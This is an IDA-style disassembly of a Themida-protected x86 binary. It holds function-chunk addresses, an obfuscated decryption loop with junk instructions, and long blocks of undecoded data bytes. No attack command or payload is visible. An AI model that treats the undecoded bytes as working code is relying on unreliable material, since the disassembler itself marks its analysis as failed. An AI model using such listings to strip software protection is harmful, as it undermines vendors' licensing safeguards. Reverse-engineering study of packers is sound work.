; FUNCTION CHUNK AT 00591C9E SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00591F80 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059215C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059230E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059245E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00592757 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00592988 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005929A0 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00592A0C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00592A61 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00592AD7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00592B98 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00592ED8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00592EFC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005934B9 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005935D2 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00593BFB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00593CF4 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00593EBE SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00594290 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00594734 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005947DC SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005949E4 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00594C51 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00594DA9 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00594F0A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005951C7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00595288 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005958F0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00595AD4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00595C88 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005960D9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005960FD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00596124 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005963AE SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005964DB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00596923 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00596B92 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00596BF4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00596C4E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00596FEE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00597076 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059722C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059726D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00597613 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00597648 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00597ED0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00597F61 SIZE 0000000A BYTES

		mov	ecx, [ebp+7E41ADDh]
		pop	eax
		jbe	loc_5EC2FB
		mov	ecx, [ebp+7E41AE5h]


loc_5EC2FB:				; CODE XREF: sub_5EC2E8+7j
		add	eax, 68CAh
		jbe	loc_5EC30C


loc_5EC307:				; CODE XREF: Themida_:005EC2D9j
		sub	cx, 11E8h


loc_5EC30C:				; CODE XREF: sub_5EC2E8+19j
		xor	edi, edi
		movzx	ebx, si


loc_5EC311:				; CODE XREF: sub_5EC2E8:loc_5EC386j
		mov	edx, [eax+edi]
		sub	[ebp+7E42EE1h],	edx
		xor	edx, 28D9438Bh
		adc	bl, 0D0h
		sub	edx, 71BA852h
		mov	si, cx
		add	edx, 2E6743ACh
		sbb	bl, 63h
		push	edx
		mov	ecx, [ebp+7E42BD9h]
		pop	dword ptr [eax+edi]
		mov	[ebp+7E41EC1h],	edx
		sub	edi, 4
		add	[ebp+7E41E61h],	edi
		cmp	edi, 0FFFF97ECh
		jnz	loc_5EC379
		or	ebx, [ebp+7E41815h]
		jmp	loc_5EC393
; ---------------------------------------------------------------------------
		db 0D3h, 28h, 0ACh
		dd 0AFAED0ACh, 0B15F292Fh, 3F03347Bh, 0A45910E7h
		db 0C2h
; ---------------------------------------------------------------------------


loc_5EC379:				; CODE XREF: sub_5EC2E8+6Cj
		ja	loc_5EC386
		jz	loc_5EC386
		cmc


loc_5EC386:				; CODE XREF: sub_5EC2E8:loc_5EC379j
					; sub_5EC2E8+97j
		jmp	loc_5EC311
; ---------------------------------------------------------------------------
		db 2Eh
		dd 0DB8E98F9h
		db 0CCh
		db 44h,	0E8h
; ---------------------------------------------------------------------------


loc_5EC393:				; CODE XREF: sub_5EC2E8+78j
		jmp	loc_5EC3E0
; ---------------------------------------------------------------------------
		dd 6A05C6D0h, 0E61D8C93h, 2E81E89Dh, 6C64746Eh,	6C642E6Ch
		dd 1467006Ch, 8003B2BDh, 0FEB9h, 0Ah dup(0)
; ---------------------------------------------------------------------------


loc_5EC3E0:				; CODE XREF: sub_5EC2E8:loc_5EC393j
		jmp	loc_5ECAB3
; ---------------------------------------------------------------------------
		push	7EAA0DDh
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EAA1AFh
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EAA242h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EAA2F0h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EAA3F2h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7EAA4A6h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		db 0ECh, 14h, 0F2h
		dd 4F6F485Eh, 0AFC9A5BBh, 1226051Bh, 718D687Eh,	65FE04DDh
		dd 0C4DA6E8Ah, 2238CCEAh, 849A2E44h, 48FB8FA7h,	3F641B98h
		dd 0ADF213A8h, 4136B315h, 0D13A83Fh, 9EBD92A4h,	2Dh, 3FFBB224h
		dd 8171D158h, 79569A6Fh, 7E5B2961h, 22DDD266h, 751442A0h
		dd 82927A97h, 0BAACBC7Fh, 32AF1161h, 1442824Dh,	6C8EA009h
		dd 39424D9Bh, 28CF4C5Dh, 0A61442A0h, 11ACE43Dh,	568EAA85h
		dd 951262BBh, 13A6AD13h, 0CCECC561h, 0ED8E3B73h, 5A13A6AEh
		dd 9E611D49h, 37D87803h, 253h, 1886E557h, 28229649h, 0DA454116h
		dd 394F2DCBh, 31546601h, 6200505Eh, 7A586A88h, 0D754B618h
		dd 1442A020h, 25DA45AEh, 0B11442A0h, 6F3D3648h,	3D13A68Ch
		dd 46F6B3CDh, 0AFFF9B73h, 0A60A4D32h, 47A00913h, 95DC4E3Eh
		dd 0B1754616h, 0F4F6EF01h, 76D788F3h, 0C8459519h, 0DFB531CEh
		dd 3DDB2B94h, 1D3B1560h, 0B9F14AE5h, 0B4460C1Eh, 931F3B16h
		dd 0CB669EB6h, 0BEF996B9h, 0B50ABA41h, 56AF18C7h, 0BA518906h
		dd 9303C052h, 906FB27Ch, 49A9447Ch, 0FF5891C6h,	1C3411AFh
		dd 7D957288h, 21105929h, 5EE42496h, 48Dh, 0A5395B33h, 296B68Fh
		dd 62F610ECh, 0C5596D4Ch, 24B8D4AFh, 0D1ACA54Bh, 310B21B5h
		dd 8B697F13h, 0EECBE175h, 0DF8F42D6h, 0A8009D62h, 65F43913h
		dd 0FD19F492h, 0DCF4D1EBh, 0ECC2CDA4h, 0A85B2A9Ch, 2484A27Ch
		dd 5E39B024h, 0F9D7E942h, 0A6CB927Ch, 0E9C46013h, 0A1FA95CDh
		dd 0BA95330Dh, 0B9CB669Eh, 0C0CF058Eh, 8BC3E1BBh, 0E54797F0h
		dd 0C5516B47h, 0C1BACCECh, 14420713h, 444F58C1h, 8317AE20h
		dd 994641B3h, 6AA2B695h, 106C6FCFh, 7A15384Ah, 6D67E434h
		dd 33BBC0DAh, 25A156D3h, 0C42DA408h, 0A07D1B6Bh, 0A3B55088h
		dd 258906DDh, 950058D5h, 69D2A3EFh, 7F9E7B19h, 8D07FC10h
		dd 0AE429BF3h, 9470BB98h, 0BFCD217Ah, 0D2B9CEAFh, 3BB0C92h
		dd 2D050000h, 8861770Bh, 0E2BED468h, 3F1E34C8h,	0A681972Bh
		dd 0D71DF68Ah, 0F387A37Eh, 51E503DDh, 0B3475D3Bh, 14A8C09Dh
		dd 4F34B161h, 0B13A801h, 795637C6h, 3D522961h, 0A6A42171h
		dd 0F413A6A2h, 5CD93B8Bh, 13A6A3A7h, 0A2BA9733h, 0F6153749h
		dd 48C51599h, 144C3CAEh, 0D68AC434h, 0FAE8E40Bh, 72EF51A1h
		dd 1B8C2F8Dh, 0B5D3AD49h, 7789E27Dh, 61EFB99h, 677F5C72h
		dd 7737582Fh, 96AA8927h, 6329A684h, 311C6809h, 2F2274C8h
		dd 43835A4Eh, 328BDh, 9EC09800h, 0FB1BF40Ah, 5B755167h
		dd 0BED2B1C7h, 1D39142Ah, 114AB089h, 70861A36h,	0CEE47896h
		dd 3046DAF0h, 0F4A73B53h, 230C744h, 599E13A8h, 617956CAh
		dd 713D5229h, 8E1AA421h, 0CF3813A6h, 1B36D3Bh, 45FC0000h
		dd 0AA048BDDh, 1996F85Ah, 1442A062h, 7C7587F0h,	13A68CAEh
		dd 0EA02DF7Dh, 260517B2h, 96A9B4BDh, 78E69A7Bh,	0CA479717h
		dd 0EE87A570h, 663D75DEh, 0B8358529h, 16A05560h, 0AF54D133h
		dd 1C18AE56h, 0F199E568h, 36D22369h, 6F0A4258h,	0BC250416h
		dd 0A6F1CE6Ch, 0C559B2C8h, 66BAD2AFh, 6514673Ah, 7AB93F7Fh
		dd 46000002h, 0A2B84C6Eh, 0FF15A9C9h, 5F750923h, 0C2D86C80h
		dd 5E37CBE7h, 0C8E4BF98h, 26441E34h, 889E7C92h,	0E901DEF4h
		dd 75F2A255h, 13A8028Eh, 5678074Ch, 52296179h, 0BF21713Dh
		dd 42A0BD42h, 0A47D1914h, 3B192B84h, 0A6BB2CBEh, 0A539A213h
		dd 0A608117Eh, 0A6BB5229h, 1C900013h, 0E5335E0h, 971464BDh
		dd 13A60BE0h, 0D0F3056Eh, 3D9FEFBFh, 72AAC29Fh,	1ECCC5D7h
		dd 0CD144227h, 7709EE6Bh, 5CC51B8Ah, 0F9026B4Ah, 552AA709h
		dd 11B8A77h, 158D8698h,	3956B9Fh, 60D2228Ch, 71A227E9h
		dd 8AA882E4h, 0DF411F31h, 3E196441h, 0F64FEA22h, 56D323BEh
		dd 8AE806A1h, 0B9B2C42Dh, 8D0C2787h, 0A21464CDh, 5EFF7AC2h
		dd 844A5C41h, 7CCCE2ADh, 6449570Ah, 0C1D3B20Bh,	0DF3266E3h
		dd 77E0B52Bh, 94AC8927h, 47C42600h, 0BA3420B0h,	23F7AE1Eh
		dd 94F3FC4Ch, 320F293Bh, 36E4C61Ah, 0A9E9C38Ah,	17823h
		dd 4E704800h, 0ABCBA4BAh, 0B250117h, 6E826177h,	0CDE9C4DAh
		dd 0C19A6039h, 2036CAE6h, 7E942846h, 0E0F68AA0h, 0A457EB03h
		dd 38077F4h, 94E13A8h, 6179567Ah, 1CF99729h, 1F31CC04h
		dd 0CB1B93FCh, 0A6A2D04Eh, 0A1359E13h, 6C424DD0h, 3FFF9F1Ch
		dd 2C9513A8h, 49613EDCh, 779DBB5h, 5040D739h, 9E65D064h
		dd 3C13A8A1h, 0CAA7C1D3h, 0ECA37AB2h, 1BF572C2h, 0D914423Eh
		dd 0EC45633Dh, 31952A9Ch, 387B74E2h, 0CDAA4826h, 2E0B21B5h
		dd 8807DE16h, 7B59D626h, 91C727Ah, 6541946Dh, 28BAF24Bh
		dd 0FA45D4ABh, 0C0198203h, 0FFA11367h, 405A47h,	0C47Ah
		dd 224FC00h, 5F7F586Eh,	0BFD9B5CBh, 2236152Bh, 819D788Eh
		dd 75EE14EDh, 0D4EA7E9Ah, 3248DCFAh, 94AA3E54h,	580B9FB7h
		dd 4542BA8h, 0BD0213A8h, 65424D2Eh, 5C0EB74Bh, 52664514h
		dd 0D350A0F9h, 13A8CD25h, 44124AB3h, 61FF4F67h,	99346C84h
		dd 724F6587h, 3111E663h, 21BD13A9h, 77D02947h, 5178923Fh
		dd 0A8257E46h, 8CA481FCh, 0AAC09E3Ch, 0A3C5D772h, 364E2BC9h
		dd 24BC5CFEh, 26CC4C6Dh, 0C4A1BBCDh, 44E274ACh,	203A4C6Ah
		dd 3EF52D41h, 0DE7C3F67h, 0BDDBB502h, 855E2C64h, 0E0FA0C65h
		dd 4157EB03h, 233D1964h, 160C92CAh, 92000000h, 17EBDE20h
		dd 91B34EDh, 15F49234h,	0A2DAF0CEh, 0B99CAE07h,	5C7E566Ah
		dd 61795624h, 677D5B29h, 6987612Fh, 6C886331h, 6F8B6634h
		dd 768A6937h, 7A94703Eh, 7B9B7442h, 8950EE43h, 61BD55E0h
		dd 810B7732h, 7C6193F5h, 4EDC138h, 0F704EDC1h, 0A9F581DDh
		dd 1FFCCF4h, 0E8835DE8h, 24048704h, 5FF5685Ch, 1C890000h
		dd 0E1895124h, 4C181h, 0E9810000h, 4, 5C240C87h, 52240C89h
		dd 0EA9F96BAh, 8BD38907h, 0C4832414h, 0C8B5404h, 4C48324h
		dd 8BA52h, 0CA010000h, 148B1A89h, 4C48124h, 0FF000000h
		dd 81592434h, 4C4h, 241C8B00h, 81E38953h, 4C3h,	4C38300h
		dd 5C241C87h, 0F9D7DEE9h, 0E534C5FFh, 333E4396h
		db 3Fh,	57h, 0A8h
; ---------------------------------------------------------------------------


loc_5ECAB3:				; CODE XREF: sub_5EC2E8:loc_5EC3E0j
		mov	eax, 7EAA58Fh
		add	eax, ebp
		jmp	eax
sub_5EC2E8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
aSZto@xb_MfzcS	db 'αΣ^Z’@X. mfzc:θ',0Ah,0
		align 10h
		dd 92F2C700h, 1A6A7374h, 0B728C6CAh, 0DE8B5946h, 6E71C181h
		dd 81660000h, 0BEB381CBh, 3C882746h, 0BD0EE81h,	860F3C88h
		dd 6, 0C161F381h, 18B2540h, 0C081DF8Bh,	645747F0h, 0A830Fh
		dd 8F0F0000h, 4, 19E1BB66h, 222BE881h, 81FC794Ch, 1C805AC0h
		dd 0FE8B6673h, 0F98A0189h, 3D35E981h, 0B9B66975h, 3D31C181h
		dd 0D78A6975h, 0F01EE83h, 1085h, 4CCB8000h, 1DE9h, 0B24F5E00h
		dd 55CCFA82h, 6BBB6617h, 0FFA0E973h, 0C2F7FFFFh, 0E242DBB4h
		dd 0B3A438C5h, 0AE949F3h, 6B000000h, 3B4CB7h, 0
		dd 4A4E900h, 26680000h,	0E907EAA8h, 0FFF9D6FBh,	0EAA89468h
		dd 0D6F1E907h, 0BF68FFF9h, 0E907EAA9h, 0FFF9D6E7h, 0DD71936Bh
		dd 3ACEEEC7h, 9A2E4824h, 0FD91A584h, 5CF00CE7h,	9E47D83h
		dd 694359EDh, 0C3A1B74Bh, 260319ADh, 17C77A0Eh,	0A807E59Ah
		dd 9D2C7113h, 115F492h,	21C2EC9h, 5D30B27h, 5D7C1028h
		dd 0AF2C7C32h, 13A68B31h, 4CDE167Fh, 82BAD0AEh,	86BED8B4h
		dd 878092EBh, 13A68CF4h, 85630153h, 4C9C376Fh, 0A68C28CFh
		dd 2B3DA613h, 59A6D68Eh, 7ED877E5h, 2D8h, 0B33092A7h, 1442A0CCh
		dd 0E40F218Ah, 3F6F20A6h, 8CA472EFh, 97213A6h, 0EA73F500h
		dd 0E042EEC3h, 249D4F6Eh, 58C3537Bh, 110BE6A3h,	91B4C62Fh
		dd 0FE60B0FEh, 0C6BD3A9Ch, 94110BE6h, 0E73BC02Bh, 3797110Bh
		dd 0BE7C5BAh, 0CF289111h, 0E9A6C4BDh, 0CB3416EFh, 53A7197Bh
		dd 18309A13h, 7502F964h, 67D0196Fh, 0D7B88F55h,	9742FED0h
		dd 4B9B7D6Dh, 6F6B29CEh, 0E33CA519h, 50B91693h,	5CC51E8Bh
		dd 79916E0Ch, 0EEB8967h, 6F4C62F6h, 0E51C0357h,	5B9B5CEEh
		dd 2C5D5h, 82A47C00h, 0DFFFD8EEh, 3F59354Bh, 0A2B695ABh
		dd 11DF80Eh, 0F56E946Dh, 546AFE1Ah, 0B2C85C7Ah,	142ABED4h
		dd 0D88B1F37h, 8D4AB28h, 3D8213A8h, 1AF492AEh, 0C8C7EAFCh
		dd 963496E6h, 9C6AA2B8h, 0D46FA7BFh, 6370697Bh,	2F13A806h
		dd 0FDD876C6h, 5C374DE1h, 7452F040h, 0D9864C5Eh, 0EC57F8D9h
		dd 277B9370h, 6A164502h, 570389C9h, 0EA000002h,	465CF012h
		dd 0A3B94D6Dh, 319ADC7h, 667C1024h, 2DB6F8Bh, 6C8863FCh
		dd 0CAE8C2D8h, 2C422036h, 8DA58298h, 199646F9h,	13A80862h
		dd 4D1CABF0h, 0AA1C6C42h, 39472AFAh, 613BC702h,	5E700B43h
		dd 0CF940380h, 59C213A8h, 0D08B7421h, 2F4013A9h, 0ADB84777h
		dd 751DD870h, 46000001h, 430C2092h, 0B2AE2845h,	91A986A0h
		dd 96AE8B59h, 0AB8A2802h, 2D628597h, 31CF3181h,	69043C54h
		dd 106C5E57h, 0B92213A6h, 172BD481h, 8FA013A6h,	6658A7D7h
		dd 3A7DD877h, 0A6000000h, 5A39424Dh, 3B9DED46h,	0A0A75CD9h
		dd 0B7341442h, 1442A0C0h, 6BD4258Eh, 0A9AA6059h, 0CB6913A6h
		dd 0E6C5D7EDh, 0E798457Dh, 6413A6A9h, 946B1353h, 41D87808h
		dd 0ABh, 6179566Ah, 64805B29h, 69815E2Ch, 6E866331h, 0A4C4E5DAh
		dd 7E5B1442h, 0E7405433h, 535B3453h, 6C8C6503h,	0A9879934h
		dd 0A4420E2Ch, 0AAEC5C13h, 5A724F2Dh, 29B635FAh, 4EA7C19Dh
		dd 698560FEh, 1C99FBD5h, 13A48E67h, 5E788AF3h, 20136783h
		dd 0BF6A1ABEh, 12CF97Fh, 3D150000h, 9871871Bh, 0F2CEE478h
		dd 4F2E44D8h, 0B691A73Bh, 0C72D069Ah, 397B38Eh,	61F513EDh
		dd 0C3576D4Bh, 24B8D0ADh, 0BF44C171h, 1B13A809h, 7B5647D6h
		dd 0A014EB68h, 0A9871442h, 80D94293h, 9AB89230h, 0A036CD4Ah
		dd 3BA41442h, 14F10729h, 569768FCh, 73116179h, 0AA457D97h
		dd 2704D298h, 335C7B0Fh, 0B38D2B7Bh, 0A05A219Eh, 8FF81442h
		dd 5530FE36h, 0F0CEE039h, 0A6EF6F73h, 1EBC2E13h, 0CA958F08h
		dd 59C2A1B3h, 74906B09h, 2E10EBE0h, 0A68313A6h,	57347D5Bh
		dd 136C073Fh, 351026BAh, 875BE119h, 0EA000000h,	0F875424Dh
		dd 1442A003h, 0BD0D66CFh, 0A8065740h, 5A92FB13h, 4F2AC8h
		dd 76AE0727h, 0D2AFC9DBh, 5991AB87h, 5B93B18Bh,	7A0E67C0h
		dd 613C8764h, 0E6720D45h, 4898F109h, 3B8C96D6h,	6D482C05h
		dd 257E1951h, 0B0A04D13h, 112F0EF5h, 0BDDBB553h, 23560EABh
		dd 815DA885h, 3BD60E67h, 1A320F29h, 7B937086h, 82967543h
		dd 88BC934Ah, 8E6DB895h, 4EA7427Ah, 0AFC7A4BAh,	8F177h
		dd 0D9770000h, 0FED3E5FBh, 7E563E8Dh, 7956245Ch, 7D5B2961h
		dd 87612F67h, 88633169h, 8B66346Ch, 8A69376Fh, 94703E76h
		dd 9B74427Ah, 81EE437Bh, 4ECh, 240C8900h, 112F68h, 242C8900h
		dd 62DE68h, 24148900h, 2F6B6856h, 815E242Dh, 0C7887EF6h
		dd 34815623h, 0BB37CC24h, 0F5815D16h, 16BB37CCh, 5B23685Eh
		dd 24890000h, 24048324h, 81555A04h, 73192434h, 428F213Bh
		dd 0EBB85008h, 4014573Ch, 0E625D0F7h, 2D7A2518h, 48E48CE9h
		dd 58084231h, 5A2434FFh, 4C481h, 2C8B0000h, 0E2895224h
		dd 4C281h, 0C2810000h, 4, 5C241487h, 0F9D262E9h, 10B8DDFFh
		dd 307EAABh, 1E0FFC5h, 0CB575993h, 47063457h, 6A4AFFFDh
		dd 466C14C4h, 1973DC71h, 695AE752h, 97ACE8Dh, 0DC752CDDh
		dd 8839A868h, 0D2123BC5h, 0C9127D03h, 1903EEA6h, 9A4491EDh
		dd 0D635027Eh, 0B247A611h, 0E3702C49h, 0F41140ECh, 9D4EDAF6h
		dd 0AA2AA408h, 0FC7E7D5Ah, 3765960Bh, 0EB41959Ah, 0DE2F6195h
		dd 532D2CC4h, 5DB17DD8h, 0F7B132AFh, 55323D54h,	1DB13256h
		dd 0D5B153ABh, 0B39FA2AFh, 75B13254h, 0AA1F593Bh, 0A1749CD0h
		dd 913276Eh, 0DEBE8422h, 0ABB13251h, 0D5B0B759h, 0EA443256h
		dd 75BDDB56h, 0DFC63256h, 16398950h, 92EE4CD9h,	57B1AA96h
		dd 0ABB137BFh, 0E2A3156h, 0EAB141CDh, 75B139BFh, 0E2524456h
		dd 2A05ACE7h, 0B3B1932Eh, 43583256h, 77B13256h,	5BC79910h
		dd 0B5FCEBFFh, 0E01497A3h, 3B9B6B08h, 5D54A898h, 0A0585256h
		dd 9B13256h, 2D750AB3h,	39BB5CBCh, 8BE6CCAFh, 0C2BE522Ah
		dd 0BAA1DA88h, 0FD2B3256h, 61D03A4Ch, 5F3E371Bh, 0A2396B8Ah
		dd 0B4E9729Bh, 0B7689937h, 75B13256h, 0ABA2F665h, 8F63A197h
		dd 0D1513FADh, 0D2471045h, 0B958F43Dh, 0FBB13256h, 6C47B775h
		dd 310383F2h, 0AAAE58D0h, 711D9AF7h, 57B132D7h,	57EEE089h
		dd 4470D2D7h, 0D5343D36h, 2B13256h, 75B1325Fh, 825816A9h
		dd 0EF51D8AEh, 0CFD0694Bh, 0A2D13256h, 0CA42B930h, 0D0583256h
		dd 70B13256h, 48ABBD71h, 0DCD13256h, 52EC20EEh,	0AEB138D8h
		dd 57B4DB56h, 0A5BA3256h, 0B47F0BA0h, 0EA493256h, 7D313D56h
		dd 0DAB13256h, 0D8F889A3h, 0AED03E51h, 57A5DB56h, 25C83256h
		dd 445AC27Ch, 3A69814Dh, 0DE59DC8Ch, 8FC6F556h,	5DB18245h
		dd 0B93D3D36h, 0BEB13256h, 0ABB13244h, 0AFB790CCh, 33790A8Fh
		dd 0D5C78708h, 3652B8F0h, 0B131A4F3h, 0AEB153AAh, 57B0B959h
		dd 0AB4D3256h, 0D5B1CE56h, 393A5236h, 75B13CBFh, 920EF256h
		dd 46491D8Eh, 2466811Eh, 364636ACh, 0ABA6BD59h,	0C7583256h
		dd 89B13256h, 0FF5749CDh, 32D7375h, 0FF021763h,	40CD46B3h
		dd 57B1536Ch, 0CBB132AAh, 21ACD5D7h, 0EAD0686Bh, 7C58C756h
		dd 0D5B13256h, 348D649Bh, 67123660h, 0BE483256h, 0ABB13250h
		dd 3C58B547h, 0EAB15D9Dh, 9CB132AAh, 0BAB13246h, 0D5622DB5h
		dd 0B5038C25h, 67912CCh, 0F12B67E7h, 0D8583256h, 29B13256h
		dd 0F3D7EFBFh, 0BEB2B9C2h, 0F406F148h, 0AEB0B059h, 57443256h
		dd 0B2313D56h, 0DAB13256h, 0EAB121D0h, 75BFDB56h, 0E2573256h
		dd 3974548Ch, 8FB52EC1h, 4500B6DCh, 14D13256h, 9C5B7F61h
		dd 8AB13237h, 75B138BEh, 54C33A56h, 59367446h, 250D72F4h
		dd 57D06D85h, 0ABB3CB56h, 0D5B03256h, 0EA4D3256h, 74363D56h
		dd 4FB13256h, 5DB3358Eh, 0AEA83257h, 579A3246h,	0A9EB324Bh
		dd 0DF1DEC96h, 8873BF44h, 7502BD60h, 0B0313D56h, 0B4B13256h
		dd 0AEB13253h, 4255BB39h, 42B132E0h, 0D5B13244h, 390F101Dh
		dd 57DAF36Fh, 6E6955C8h, 0BF51085Ah, 0AEB1C0FDh, 0EF7BB336h
		dd 57DE12C2h, 0D5B1CE37h, 0E5B132AAh, 75B124DCh, 0AA323D56h
		dd 0B4B13256h, 0AEB1325Dh, 3A182835h
		dd 0D5D9BEDh, 0D5DB0888h, 55D75256h, 0BC30BCE8h, 8456FABDh
		dd 3DB13237h, 59FECEE8h, 0DBBE6375h, 0ABB13256h, 0D549530Ch
		dd 0DB36556h, 14768D59h, 0B5D13256h, 0DABEE1E9h, 0AEB13256h
		dd 0B13237h, 0ABB13A54h, 5BBE5256h, 0EAB13256h,	75B1CE37h
		dd 2D167A3h, 3127AA93h,	0AEBCDBCAh, 0B1F03256h,	0D9CCE671h
		dd 6BC87295h, 6B845E49h, 3EEB6A8Eh, 0BAB7DB2Ah,	4A273256h
		dd 1D93DF52h, 533853CBh, 0ABB13B72h, 0B6232F56h, 556F2B36h
		dd 9E22E7DAh, 7DB7D31Eh, 3E232FA2h, 116F2B36h, 66BEE7DAh
		dd 9ABE6006h, 8DEB6A0Ch, 0E3580359h, 0F8B13256h, 33216114h
		dd 180D9DD8h, 52216A0Ch, 0DCBAE8D3h, 0ABBDDB56h, 0E8253256h
		dd 0D3B1B164h, 809DED28h, 0FE38C9DCh, 0FE13672h, 0FCE16006h
		dd 0FEB0359h, 0F9E10359h, 8DEB0359h, 0DBBE6A0Ch, 75B122BFh
		dd 0BC507A56h, 0CFACC691h, 70A85235h, 0BD64BEE9h, 0F3E9688Dh
		dd 194E2C0Fh, 0B0AA1843h, 2DE9680Eh, 2BD0AF45h,	9EC33256h
		dd 0B10F4B16h, 6C7B073Ah, 0BC27830Eh, 6693DF52h, 0EAE96A0Ch
		dd 75A2DB56h, 8EBD3256h, 5FCD5A34h, 0B675E850h,	60F83917h
		dd 0E6436AD8h, 0DAB1325Ch, 0EAB127D9h, 75A1DB56h, 0B9C23256h
		dd 0F4DB12BAh, 0AB6A7FCBh, 0DF36085Bh, 0ABB1E141h, 3CB132A3h
		dd 0EAB13259h, 8FB5AD71h, 591EE0A8h, 31912CF5h,	0AEAF8AABh
		dd 57A5DB56h, 58D93256h, 7CD102BAh, 2E57DF7Dh, 0FF313DF2h
		dd 0A2192FEBh, 5DB100B3h, 57B132AAh, 0CE6BB236h, 0ABB126BFh
		dd 0D1EA6F56h, 4AE09B60h, 0F733587Dh, 5A6C59FCh, 0B9199B39h
		dd 0AEB1536Ch, 0AFB132AEh, 0B8583256h, 0B5B13256h, 4F568831h
		dd 9E332F09h, 7738A42Dh, 0D3C0F196h, 0AEB1F9E4h, 523D3D36h
		dd 0CDB13256h, 4DD8E2D7h, 0E5B13237h, 75B13CD3h, 0BAB8DB56h
		dd 0A1323256h, 53CB5008h, 57A56D70h, 20D75256h,	0B4E96485h
		dd 6EBE3256h, 75B1325Fh, 0DC2D8536h, 0F403C3D7h, 56B13237h
		dd 5B583256h, 46B13256h, 606431BCh, 5E7B526Dh, 758EF795h
		dd 0B2333D56h, 3DB13256h, 5E0F8930h, 57D0E8DDh,	43D15256h
		dd 0D5B13247h, 47A23221h, 0EA308FF0h, 0E692C568h, 129B95EEh
		dd 930B6998h, 36BCC45Dh, 0CBB13237h, 0D5B13BBFh, 18597D56h
		dd 0C09B47EBh, 643A08CCh, 52B13237h, 0AEB133D3h, 57B1CB56h
		dd 3703C736h, 0DAB13237h, 0EAB12BDAh, 7E595256h, 21B13256h
		dd 1536481Ah, 4455AAA9h, 0D6E94DC2h, 0AF6D71BCh, 0D5B15342h
		dd 0EAB13FBFh, 0C8397F56h, 0EBC35D5h, 66129C2Ah, 0AEB11350h
		dd 57B13EBFh, 0B3A26F56h, 0E9185930h, 415D8EBCh, 7AB13242h
		dd 0BAB13AD5h, 3E65256h, 437C8930h, 0BEB13237h,	0ABB13259h
		dd 0D7D32496h, 90D1DAAh, 3F17D248h, 0BA86C91Ah,	5DBBDB56h
		dd 0EB143256h, 1B78CDA9h, 8DDEC56h, 0D5B0BE59h,	0EA443256h
		dd 6A3D3D56h, 0DAB13256h, 5DB123BEh, 391C5856h,	7A026CF9h
		dd 4A222C42h, 0BC9C5464h, 0E5EB4F93h, 75B132D6h, 0A8585356h
		dd 0A7B13256h, 52E99A0Bh, 32DCA98Bh, 0A86A1112h, 76D64D02h
		dd 12B13214h, 0F4D13256h, 369FCB84h, 5DB1535Bh,	6F0E3D36h
		dd 522EC5D7h, 0ABD042C5h, 0D5B7DB56h, 0B39B3256h, 2D7B9EC8h
		dd 0BA483256h, 5C3E3D56h, 52B13256h, 57B126BFh,	316D8156h
		dd 9E29DEEDh, 0EA9697A9h, 127DFE35h, 2BE14CB0h,	0B4B132A4h
		dd 0AEB1325Ah, 4831D84Eh, 19FA9F80h, 2919A310h,	0F9583256h
		dd 7AB13256h, 0AE47C15Ch, 9A7CF47Fh, 0CC1275ECh, 777720DBh
		dd 27BECE12h, 0D5B1324Fh, 0EAB126BFh, 44A2D656h, 8D6ED340h
		dd 8346A102h, 0C3E1980Fh, 0D2550BEAh, 42B13277h, 0D5B13259h
		dd 0D42FE9A6h, 5A14C536h, 61D89999h, 0B46158B7h, 0AEB1325Fh
		dd 324DF296h, 0FCD7FE6Bh, 0DAB132CFh, 0EAB13FD1h, 75B9DB56h
		dd 0E64A3256h, 5A53D646h, 0AEB1E0A4h, 57B6B459h, 0CBD13256h
		dd 1660B237h, 3B13237h,	75B1325Bh, 0DE2FD311h, 0BC45B5A0h
